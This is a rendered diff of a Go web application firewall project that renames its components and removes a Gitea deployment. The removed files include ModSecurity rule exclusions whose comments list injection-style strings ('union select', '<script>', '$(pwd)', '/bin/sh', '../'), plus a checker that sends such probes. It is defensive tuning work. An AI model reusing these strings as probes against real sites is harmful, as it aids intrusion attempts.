- with `servewaf` stopped, the app still answering through `rproxy`; - with `discriminator` stopped, the app still answering through `rproxy`;
- with `servewaf` started again, bans applying again; - with `discriminator` started again, bans applying again;
- orderly stops with `sv stop` and `docker stop`; - orderly stops with `sv stop` and `docker stop`;
- bans surviving a new container on the same volume; - bans surviving a new container on the same volume;
- a setting given as a file. - a setting given as a file.
- `script/gitea-requests`: builds the image and runs gitea 1.27.3 behind
`rproxy` and `servewaf`, three containers on one network. Every setting is at
its default, but for those that join the containers and
`SWWAF_LOG_REQUEST_HEADERS`, which adds the header that labels each request.
It sends through them a sample of gitea's ordinary use and the requests the
Core Rule Set is known to refuse, and prints what `servewaf` did with each.
Needs network access, and a docker daemon that pushes to a registry on
`localhost` over plain HTTP. `make gitea-requests`.
- `script/gitea-setup`: builds the image, brings up the setup in `deploy/gitea`,
and checks it as [`docs/gitea.md`](docs/gitea.md) describes. Then it removes
the containers, the network, the volumes and the image it built. Needs network
access. `make gitea-setup`.
## TODO ## TODO
@@ -803,7 +749,7 @@ on the host.
- [`docs/settings.md`](docs/settings.md): every setting and the values it takes. - [`docs/settings.md`](docs/settings.md): every setting and the values it takes.
- [`docs/rules.md`](docs/rules.md): the rule file format and the default file. - [`docs/rules.md`](docs/rules.md): the rule file format and the default file.
- [`docs/admin-endpoints.md`](docs/admin-endpoints.md): the endpoints under - [`docs/admin-endpoints.md`](docs/admin-endpoints.md): the endpoints under
`/_smallwebwaf/`, with examples. `/_sww/`, with examples.
- [`docs/request-log.md`](docs/request-log.md): the request log's fields. - [`docs/request-log.md`](docs/request-log.md): the request log's fields.
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination - [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
gets. gets.
@@ -811,8 +757,6 @@ on the host.
- [`docs/state-files.md`](docs/state-files.md): the state files and what each - [`docs/state-files.md`](docs/state-files.md): the state files and what each
holds. holds.
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned. - [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
- [`docs/gitea.md`](docs/gitea.md): `smallwebwaf` in front of gitea: the setup
in `deploy/gitea`, and what the defaults do there.
## License ## License
+803 -603
View File
File diff suppressed because it is too large. Load diff
-20
View File
@@ -1,20 +0,0 @@
// Command smallwebwaf is a web application firewall. `smallwebwaf rproxy` is
// the reverse proxy in front of one app, which asks servewaf about each request.
// `smallwebwaf servewaf` decides, for many sites, and keeps what lasts.
// `smallwebwaf healthcheck` is the container's health check. Everything it does
// is in internal/smallwebwaf.
package main
import (
"os"
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
)
// Version is the version of the binary, set when it is built with
// -ldflags "-X main.Version=...".
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
func main() {
os.Exit(smallwebwaf.Main(Version))
}
+20
View File
@@ -0,0 +1,20 @@
// Command sww is a web application firewall. `sww rproxy` is the reverse
// proxy in front of one app, which asks discriminator about each request.
// `sww discriminator` decides, for many sites, and keeps what lasts. `sww
// healthcheck` is the container's health check. Everything it does is in
// internal/sww.
package main
import (
"os"
"sneak.berlin/go/smallwebwaf/internal/sww"
)
// Version is the version of the binary, set when it is built with
// -ldflags "-X main.Version=...".
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
func main() {
os.Exit(sww.Main(Version))
}
+2 -2
View File
@@ -6,8 +6,8 @@
# A real app names the smallwebwaf image by digest. This one takes the # A real app names the smallwebwaf image by digest. This one takes the
# image script/example-app has just built, or else the one `make docker` # image script/example-app has just built, or else the one `make docker`
# builds. # builds.
ARG SMALLWEBWAF_IMAGE=smallwebwaf ARG SWW_IMAGE=smallwebwaf
FROM ${SMALLWEBWAF_IMAGE} FROM ${SWW_IMAGE}
# Packages the app needs, from the nixpkgs in the image. # Packages the app needs, from the nixpkgs in the image.
RUN nix-env -iA nixpkgs.busybox RUN nix-env -iA nixpkgs.busybox
-136
View File
@@ -1,136 +0,0 @@
# Gitea behind traefik, with rproxy and servewaf in front of it.
# docs/gitea.md says what each setting here does and why. Before starting it:
# - set SMALLWEBWAF_IMAGE to the smallwebwaf image, named by digest;
# - replace git.example.org with the site's host name;
# - replace each 10.99.0 with the first three numbers of a /24 subnet that
# no other network on the host uses. The /24 must lie inside 10.0.0.0/8,
# 172.16.0.0/12 or 192.168.0.0/16, because rproxy believes
# X-Forwarded-For only from those by default. Replace each fd10:99 with
# the first two hextets of an unused /64 subnet whose third and fourth
# hextets are 0, as in fd10:99::/64;
# - set GITEA_SECRET_KEY to the output of
# `docker run --rm <gitea's image below> gitea generate secret SECRET_KEY`,
# once per install, and keep it.
# Then run `docker compose up --detach` in this directory.
# script/gitea-setup checks this setup.
name: gitea
x-logging: &logging
driver: json-file
options:
max-size: 10m
max-file: "5"
services:
traefik:
# traefik v3.7.17, 2026-11-03
image: traefik@sha256:68ae5fe5b64ca166704b746a9e8afcd385e36b3f569a5691401bf652d57b3748
# traefik replaces the X-Forwarded-For header a visitor sends. Keep it
# so: otherwise a visitor could name an address on the shared network,
# and skip servewaf's checks.
command:
- --providers.docker.exposedbydefault=false
- --entrypoints.web.address=:80
- --entrypoints.web.http.redirections.entrypoint.to=websecure
- --entrypoints.websecure.address=:443
# Until a certificate resolver is added here, as for your other
# sites, traefik answers with a certificate it made itself.
- --entrypoints.websecure.http.tls=true
# traefik's own limit of 60 seconds for a whole request would cut
# off an upload long before rproxy's limit of 30 minutes.
- --entrypoints.websecure.transport.respondingTimeouts.readTimeout=30m
ports:
- 80:80
- 443:443
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
networks:
shared:
# Containers on the shared network find traefik under the
# site's name, and so reach it from their own address.
aliases:
- git.example.org
restart: unless-stopped
gitea:
# gitea 1.27.3, 2026-08-29
image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef
environment:
GITEA__server__ROOT_URL: https://git.example.org/
# Gitea starts at its defaults, with SQLite, instead of showing its
# install page to whoever opens it first.
GITEA__security__INSTALL_LOCK: "true"
GITEA__security__SECRET_KEY: ${GITEA_SECRET_KEY:?set GITEA_SECRET_KEY, see docs/gitea.md}
# Accounts are made with `gitea admin user create`.
GITEA__service__DISABLE_REGISTRATION: "true"
# rproxy's addresses. Gitea then takes each visitor's address from
# the X-Real-Ip header traefik sets and rproxy passes on.
GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.99.0.2,fd10:99::2
volumes:
- gitea-data:/data
networks:
- shared
restart: unless-stopped
rproxy:
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
environment:
SWRP_WAF_BACKEND: http://servewaf:8080
SWRP_UPSTREAM_URL: http://gitea:3000
# Pushes, LFS objects, packages and release attachments of up to
# 2 GiB, sent in up to 30 minutes.
SWRP_MAX_REQUEST_SIZE: 2G
SWRP_MAX_REQUEST_TIME_MS: "1800000"
# 15 minutes for a clone or a download, half the default.
SWRP_MAX_RESPONSE_TIME_MS: "900000"
labels:
traefik.enable: "true"
traefik.http.routers.gitea.rule: Host(`git.example.org`)
traefik.http.routers.gitea.entrypoints: websecure
traefik.http.services.gitea.loadbalancer.server.port: "8080"
networks:
shared:
ipv4_address: 10.99.0.2
ipv6_address: fd10:99::2
logging: *logging
restart: unless-stopped
servewaf:
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
environment:
SMALLWEBWAF_COMMAND: servewaf
# The containers on the shared network skip the checks. Add the
# address of an automation fleet on another host here too; without
# that, it is counted like any client.
SWWAF_ALLOW_NETS: 10.99.0.128/25,fd10:99:0:0:8000::/65
# The Core Rule Set's exclusions for Gitea's searches, file names
# and branch names.
SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE: /etc/smallwebwaf/crs-exclusions.conf
volumes:
- servewaf-state:/var/lib/smallwebwaf
- ./crs-exclusions.conf:/etc/smallwebwaf/crs-exclusions.conf:ro
networks:
- shared
logging: *logging
restart: unless-stopped
networks:
# The network traefik and Gitea share. Its containers get addresses in the
# upper half of each subnet, which servewaf lets skip the checks. Each
# subnet's gateway, the host's own address on it, stays out of that half:
# requests docker passes on from a published port can come from it.
shared:
enable_ipv6: true
ipam:
config:
- subnet: 10.99.0.0/24
ip_range: 10.99.0.128/25
gateway: 10.99.0.1
- subnet: fd10:99::/64
ip_range: fd10:99:0:0:8000::/65
gateway: fd10:99::1
volumes:
gitea-data:
servewaf-state:
-150
View File
@@ -1,150 +0,0 @@
# The Core Rule Set's exclusions for Gitea, which servewaf loads from
# SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE. servewaf loads this file before the Core
# Rule Set's rules, so it holds only exclusions made while a request is checked:
# SecAction and SecRule lines with ctl:ruleRemoveTargetById or
# ctl:ruleRemoveById. Each switches one rule off for the Gitea fields or paths
# where it refused ordinary Gitea requests. A SecAction applies on every path, a
# SecRule on the paths it matches. Gitea sends these in the query string:
# - q: the text of every search;
# - file, path, template, body and redirect_to: a file name, alone or in
# JSON or a link;
# - name, tag, rule_name and refSubUrl: a branch or tag name.
# docs/gitea.md says how to add an exclusion.
# Searches.
# 930110: a search for ../
SecAction "id:10001,phase:1,pass,nolog,ctl:ruleRemoveTargetById=930110;ARGS:q"
# 931100: a search for http://127.0.0.1:8080
SecAction "id:10002,phase:1,pass,nolog,ctl:ruleRemoveTargetById=931100;ARGS:q"
# 932140: a search for if (a == b) {
SecAction "id:10003,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932140;ARGS:q"
# 932235: a search for `make check`
SecAction "id:10004,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932235;ARGS:q"
# 932250: a search for ls -la
SecAction "id:10005,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932250;ARGS:q"
# 932380: a search for `whoami`
SecAction "id:10006,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932380;ARGS:q"
# 933100: a search for <?php echo
SecAction "id:10007,phase:1,pass,nolog,ctl:ruleRemoveTargetById=933100;ARGS:q"
# 933130: a search for $_GET[
SecAction "id:10008,phase:1,pass,nolog,ctl:ruleRemoveTargetById=933130;ARGS:q"
# 933135: a search for ${VAR}
SecAction "id:10009,phase:1,pass,nolog,ctl:ruleRemoveTargetById=933135;ARGS:q"
# 934110: a search for http://127.0.0.1:8080
SecAction "id:10010,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934110;ARGS:q"
# 941100: a search for <script>
SecAction "id:10011,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941100;ARGS:q"
# 941110: a search for <script>, or a page opened from its results
SecAction "id:10012,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer"
# 941120: a page opened from the results of a search for onClick={
SecAction "id:10013,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer"
# 941160: a search for <img src=, or a page opened from its results
SecAction "id:10014,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer"
# 941390: a search for fetch(
SecAction "id:10015,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941390;ARGS:q"
# 942100: a search for SELECT * FROM users WHERE, or a page opened from the
# results of a search for LIKE '%foo%'
SecAction "id:10016,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer"
# 942190: a search for union select
SecAction "id:10017,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942190;ARGS:q"
# 942230: a search for if (a == b) {
SecAction "id:10018,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942230;ARGS:q"
# 944100: a search for java.lang.Runtime, or a page opened from its results
SecAction "id:10019,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# Searches, and file, branch and tag names.
# 930120: a search for package.json, or the commit graph of .gitignore
SecAction "id:10020,phase:1,pass,nolog,ctl:ruleRemoveTargetById=930120;\
ARGS:/^(?:q|file|template|body|refsuburl|name|tag|rule_name)$/"
# 932160: a search for /bin/sh, or the API's contents of bin/docker-entrypoint
SecAction "id:10021,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;\
ARGS:/^(?:q|file|template|body|refsuburl|name|tag|rule_name)$/"
# 932260: a search for python3, or deleting the branch docker-build
SecAction "id:10022,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;\
ARGS:/^(?:q|file|template|body|refsuburl|name|tag|rule_name)$/"
# Searches, and file names in the query string.
# 932120: a search for Invoke-WebRequest, or the commits of install-script.sh
SecAction "id:10023,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932120;\
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
# 932130: a search for $(pwd), or an issue opened from the template [draft].md
SecAction "id:10024,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932130;\
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
# 934100: a search for process.env, or the commits of process.env.d.ts
SecAction "id:10025,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934100;\
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
# 934130: a search for __proto__, or the commits of __proto__.json
SecAction "id:10026,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934130;\
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
# 941130: the commits of index.xhtml
SecAction "id:10027,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941130;\
ARGS:/^(?:file|path|template|body|redirect_to)$/"
# 941180: a search for document.cookie, or the commits of document.write.js
SecAction "id:10028,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941180;\
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
# 942140: a search for information_schema, or the commits of
# information_schema.sql
SecAction "id:10029,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942140;\
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
# 944110: a search for java.lang.Runtime, or the commits of Runtime.java
SecAction "id:10030,phase:1,pass,nolog,ctl:ruleRemoveTargetById=944110;\
ARGS:/^(?:q|file|path|template|body|redirect_to)$/"
# 944130: a search for java.lang.Runtime, the commits of java.lang.String.md,
# or any page opened from that file's page, which names it in the Referer
SecAction "id:10031,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=944130;\
ARGS:/^(?:q|file|path|template|body|redirect_to)$/,\
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
# File names in the path of a file's page, raw file, blame, history and edit
# page, and of the API's calls for its contents.
# 920500: the page of notes.txt~
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_delete|contents)/" \
"id:10032,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"
# 934100: the page of process.env.d.ts
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_delete|contents)/" \
"id:10033,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934100;REQUEST_FILENAME"
# 941130: the page of docs/a b.xhtml
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_delete|contents)/" \
"id:10034,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941130;REQUEST_FILENAME"
# 944130: the page of java.lang.String.md
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_delete|contents)/" \
"id:10035,phase:1,pass,nolog,ctl:ruleRemoveTargetById=944130;REQUEST_FILENAME"
# The file name, in name, of an attachment uploaded through the API to a
# release, an issue or a comment.
# 932120: the attachment install-script.sh
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:10036,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932120;ARGS:name"
# 934100: the attachment process.env.d.ts
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:10037,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934100;ARGS:name"
# 934130: the attachment __proto__.json
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:10038,phase:1,pass,nolog,ctl:ruleRemoveTargetById=934130;ARGS:name"
# 941130: the attachment index.xhtml
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:10039,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941130;ARGS:name"
# 941180: the attachment document.write.js
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:10040,phase:1,pass,nolog,ctl:ruleRemoveTargetById=941180;ARGS:name"
# 942140: the attachment information_schema.sql
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:10041,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942140;ARGS:name"
# 944130: the attachment java.lang.String.md
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:10042,phase:1,pass,nolog,ctl:ruleRemoveTargetById=944130;ARGS:name"
# The header Content-Range of an artifact upload.
# 920450: an artifact upload from actions/upload-artifact@v3
SecRule REQUEST_FILENAME "@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:10043,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
+26 -26
View File
@@ -1,60 +1,60 @@
# Admin endpoints # Admin endpoints
The endpoints under `/_smallwebwaf/`, what each takes and what each answers. The endpoints under `/_sww/`, what each takes and what each answers.
`smallwebwaf servewaf` answers them at its own address, on the private network. `sww discriminator` answers them at its own address, on the private network.
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work. "Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone. - `GET /_sww/healthz`: `200` and `ok`, to anyone.
- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see - `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)). [`metrics.md`](metrics.md)).
- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json` - `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below. Needs `SWW_ADMIN_TOKEN`, as do the three below.
- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of - `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
`netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock `duration` and, if you like, `reason`. `netblock` is a netblock such as
such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such (`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
wrong: wrong:
- one that is not such an object, or has another field; - one that is not such an object, or has another field;
- one longer than 4 KiB; - one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone. - one that names an IPv4-mapped netblock, or an address with a zone.
- `DELETE /_smallwebwaf/bans/<client>`: lifts every active ban covering the - `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
address `<client>`. It answers `404` when none is active. `<client>`. It answers `404` when none is active.
- `GET /_smallwebwaf/clients/<ip>`: what `servewaf` knows of the client. Under - `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
`client`, its counters and history as `clients.json` holds them, or `null` `client`, its counters and history as `clients.json` holds them, or `null`
when `clients.json` does not hold it. Under `bans`, every ban covering the when `clients.json` does not hold it. Under `bans`, every ban covering the
address, with its notes. address, with its notes.
- `POST /_smallwebwaf/report`: takes `rproxy`'s report, without a token. It - `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
answers `204`, or `400` to a body that is no report (see "The report" in `204`, or `400` to a body that is no report (see "The report" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
No check runs on these requests. A missing or wrong token is answered `401`. An No check runs on these requests. A missing or wrong token is answered `401`. An
endpoint whose token is unset answers `404`, as does any other path. endpoint whose token is unset answers `404`, as does any other path.
`smallwebwaf rproxy` answers only the health check of these, at its own address. `sww rproxy` answers only the health check of these, at its own address. It asks
It asks `servewaf` about any other request under `/_smallwebwaf/`. One that `discriminator` about any other request under `/_sww/`. One that passes the
passes the checks is answered `404`, so that the app never sees that prefix (see checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
"`rproxy`" in [`SPEC.md`](../SPEC.md)). in [`SPEC.md`](../SPEC.md)).
## Examples ## Examples
With `SWWAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `servewaf` reached as With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
`servewaf:8080` on its network: as `discriminator:8080` on its network:
```sh ```sh
# Every ban. # Every ban.
curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/bans curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
# Ban 203.0.113.0/24 for seven days. # Ban 203.0.113.0/24 for seven days.
curl -H "Authorization: Bearer $TOKEN" \ curl -H "Authorization: Bearer $TOKEN" \
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \ --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
http://servewaf:8080/_smallwebwaf/bans http://discriminator:8080/_sww/bans
# Lift the bans on 203.0.113.9. # Lift the bans on 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" -X DELETE \ curl -H "Authorization: Bearer $TOKEN" -X DELETE \
http://servewaf:8080/_smallwebwaf/bans/203.0.113.9 http://discriminator:8080/_sww/bans/203.0.113.9
# What servewaf knows of 203.0.113.9. # What discriminator knows of 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" \ curl -H "Authorization: Bearer $TOKEN" \
http://servewaf:8080/_smallwebwaf/clients/203.0.113.9 http://discriminator:8080/_sww/clients/203.0.113.9
``` ```
+14 -14
View File
@@ -6,12 +6,12 @@ back or dropped.
## Events ## Events
- `ban`: a ban `servewaf` made. - `ban`: a ban `discriminator` made.
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by - `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
a request. a request.
- `waf_block`: the Core Rule Set scored a request at or over the threshold. The - `core_rule_set_match`: the Core Rule Set scored a request at or over the
request was refused unless the alert's `detail` gives `mode`: `detect` or threshold. The request was refused unless the alert's `detail` gives `mode`:
`observe`. `detect` or `observe`.
- `anomaly`: a count over an anomaly threshold. - `anomaly`: a count over an anomaly threshold.
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec - `reputation_hit`: a request from a client on a blocklist, the CrowdSec
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit. decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
@@ -34,7 +34,7 @@ on one line:
```json ```json
{ {
"instance": "fsn1/servewaf", "instance": "fsn1/discriminator",
"time": "2026-10-06T12:00:50.123461Z", "time": "2026-10-06T12:00:50.123461Z",
"event": "ban", "event": "ban",
"host": "app.example", "host": "app.example",
@@ -77,11 +77,11 @@ on one line:
} }
``` ```
- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`: - `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
one of the events above. one of the events above.
- `host`: the site of the request that raised the alert, since one `servewaf` - `host`: the site of the request that raised the alert, since one
serves many sites. It is left out of `source_failure`, `file_error` and `discriminator` serves many sites. It is left out of `source_failure`,
`summary`. `file_error` and `summary`.
- `client`: the address whose request raised the alert. Empty for - `client`: the address whose request raised the alert. Empty for
`source_failure`, `file_error` and `summary`. `source_failure`, `file_error` and `summary`.
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise - `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
@@ -111,8 +111,8 @@ on one line:
## Slack and ntfy ## Slack and ntfy
Slack and ntfy get a message with a title and a text. The title is the instance Slack and ntfy get a message with a title and a text. The title is the instance
and the event, such as `fsn1/servewaf: ban`. The text is the `reason`, then one and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
line for each of these that the alert has: one line for each of these that the alert has:
- the host, the client, the netblock and the country; - the host, the client, the netblock and the country;
- the file, the source, the error and the mode from `detail`; - the file, the source, the error and the mode from `detail`;
@@ -122,15 +122,15 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
escaped. ntfy gets the text as the message, with these headers: escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title; - `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while - `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
`SWWAF_ALERT_NTFY_TOKEN` is set; is set;
- `Priority` and `Tags`: by event, as listed below. - `Priority` and `Tags`: by event, as listed below.
The priority and tag by event: The priority and tag by event:
- `ban`: priority `default`, tag `no_entry`. - `ban`: priority `default`, tag `no_entry`.
- `permanent_ban`: priority `high`, tag `no_entry`. - `permanent_ban`: priority `high`, tag `no_entry`.
- `waf_block`: priority `default`, tag `shield`. - `core_rule_set_match`: priority `default`, tag `shield`.
- `anomaly`: priority `high`, tag `chart_with_upwards_trend`. - `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
- `reputation_hit`: priority `low`, tag `label`. - `reputation_hit`: priority `low`, tag `label`.
- `source_failure` and `file_error`: priority `high`, tag `warning`. - `source_failure` and `file_error`: priority `high`, tag `warning`.
-206
View File
@@ -1,206 +0,0 @@
# smallwebwaf in front of gitea
`deploy/gitea/compose.yaml` runs gitea behind traefik, with `rproxy` and
`servewaf` in front of it. This document says what that setup sets and why, and
what the defaults would do without it. [`SPEC.md`](../SPEC.md) says how
`smallwebwaf` behaves.
## The setup
Four containers share one Docker network, the shared network:
- traefik, which routes the site's HTTPS requests to `rproxy`, and redirects
plain HTTP to HTTPS;
- `rproxy`, in front of gitea;
- gitea 1.27.3, as its image comes;
- `servewaf`, with a volume for its state files, and with
`deploy/gitea/crs-exclusions.conf` mounted read-only.
To start it:
1. In `deploy/gitea/compose.yaml`, replace `git.example.org` with the site's
host name.
2. Replace each `10.99.0` with the first three numbers of a `/24` subnet that no
other network on the host uses. The `/24` must lie inside `10.0.0.0/8`,
`172.16.0.0/12` or `192.168.0.0/16`, because `rproxy` believes
`X-Forwarded-For` only from those by default. Replace each `fd10:99` with the
first two hextets of an unused `/64` subnet whose third and fourth hextets
are 0, as in `fd10:99::/64`.
3. Set `SMALLWEBWAF_IMAGE` to the `smallwebwaf` image, named by digest.
4. Set `GITEA_SECRET_KEY` to the output of
`docker run --rm <gitea's image> gitea generate secret SECRET_KEY`, with
gitea's image as `deploy/gitea/compose.yaml` names it. Do this once per
install, and keep the key.
5. Run `docker compose up --detach` in `deploy/gitea`, with
`crs-exclusions.conf` beside `compose.yaml`.
6. Make gitea's first user with `gitea admin user create`, in gitea's container,
as the user `git`.
Sign-up is off: accounts are made with `gitea admin user create`. gitea starts
at its defaults, with SQLite. traefik answers with a certificate it made itself
until you add a certificate resolver, as for your other sites. SSH to gitea does
not pass through `smallwebwaf`; publish gitea's SSH port yourself if you use it.
`make gitea-setup` checks the setup. It builds the image, brings the setup up
under a name of its own, and checks:
- that a page load, a push and a clone sent through traefik pass through
`rproxy`, and that `servewaf` checks them;
- that gitea logs the visitor's address, not `rproxy`'s;
- that a request from a container on the shared network skips the checks;
- that the Core Rule Set refuses none of the ordinary gitea requests in
`internal/waf/testdata/gitea-requests.txt`, sent by a signed-in user;
- that it refuses none of the API calls with JSON bodies;
- that it refuses no fetch;
- that it refuses SQL injection, path traversal and script injection in a query
string;
- that with `servewaf` stopped, gitea still answers through `rproxy`.
## Uploads and downloads
An upload is a request:
- a git push;
- an LFS object;
- a container image layer;
- a package file;
- a release attachment.
The setup lets an upload of up to 2 GiB, sent in up to 30 minutes, through:
- `SWRP_MAX_REQUEST_SIZE` is `2G`. At the default, an upload over 100 MiB is cut
off.
- `SWRP_MAX_REQUEST_TIME_MS` is `1800000`, 30 minutes. At the default, an upload
that takes over 60 seconds is cut off.
- traefik's `readTimeout` is 30 minutes. traefik's own default of 60 seconds for
a whole request would cut off an upload first.
A clone or a download is a response:
- `SWRP_MAX_RESPONSE_TIME_MS` is `900000`, 15 minutes, half the default. A clone
or download that takes longer is cut off.
- `SWRP_MAX_RESPONSE_SIZE` stays at its default, 1 GiB. A repository whose clone
is larger needs it raised.
The byte limits stay at their defaults: no minute limit, 50 GiB an hour and 100
GiB a day.
## The checks
The Core Rule Set runs in `block` mode, the default, with gitea's exclusions
(see "The Core Rule Set's exclusions" below).
Every other check stays at its default. A client may make 120 requests a minute,
1,500 an hour and 6,000 a day. Archive downloads and blame and history pages are
